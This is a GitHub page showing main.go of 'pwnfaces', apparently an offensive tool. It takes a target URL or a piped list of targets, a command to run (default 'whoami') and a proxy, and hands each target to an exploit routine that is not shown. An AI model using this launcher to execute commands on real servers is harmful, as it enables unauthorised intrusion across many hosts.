-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathmain.go
69 lines (50 loc) · 1.79 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package main
import (
"bufio"
"fmt"
"log"
"os"
"github.com/jessevdk/go-flags"
"github.com/oppsec/pwnfaces/src/interface"
"github.com/oppsec/pwnfaces/src/pwnfaces"
)
func error(err interface{}) {
if err != nil {
log.Fatalln(err)
os.Exit(0)
}
}
func main() {
ui.GetBanner()
var opts struct {
Url string `short:"u" long:"url" description:"Definition: Argument used to pass target URL (ex: http://127.0.0.1:8090)" required:"false"`
Cmd string `short:"c" long:"cmd" description:"Definition: Argument used to pass the command" required:"false" default:"whoami"`
Proxy string `short:"p" long:"proxy" description:"Definition: Argument used to pass proxy (SOCKS4, SOCKS4a, SOCKS5 or HTTP)" required:"false"`
}
_, err := flags.Parse(&opts)
error(err)
// checking stdin from user
fi, err := os.Stdin.Stat()
error(err)
if fi.Mode() & os.ModeNamedPipe != 0 { // if stdin != 0 --> read stdin (probably a file)
url := os.Stdin
scanner := bufio.NewScanner(url)
for scanner.Scan() {
check_slash := scanner.Text()[len(scanner.Text())-1:]
if check_slash == "/"{ exploit.TargetConnect(scanner.Text(), opts.Cmd, opts.Proxy, true) } else if check_slash != "/"{ exploit.TargetConnect(scanner.Text() + "/", opts.Cmd, opts.Proxy, true) }
}
if err := scanner.Err(); err != nil { fmt.Println(err) }
} else { // no stdin
if len(opts.Url) == 0 {
fmt.Println("[!] the required flag `-u, --url' was not specified")
os.Exit(0)
}
// Check if the last character is a / or not
check_slash := opts.Url[len(opts.Url)-1:]
if check_slash == "/" {
exploit.TargetConnect(opts.Url, opts.Cmd, opts.Proxy, false)
} else if check_slash != "/" {
exploit.TargetConnect(opts.Url + "/", opts.Cmd, opts.Proxy, false)
}
}
}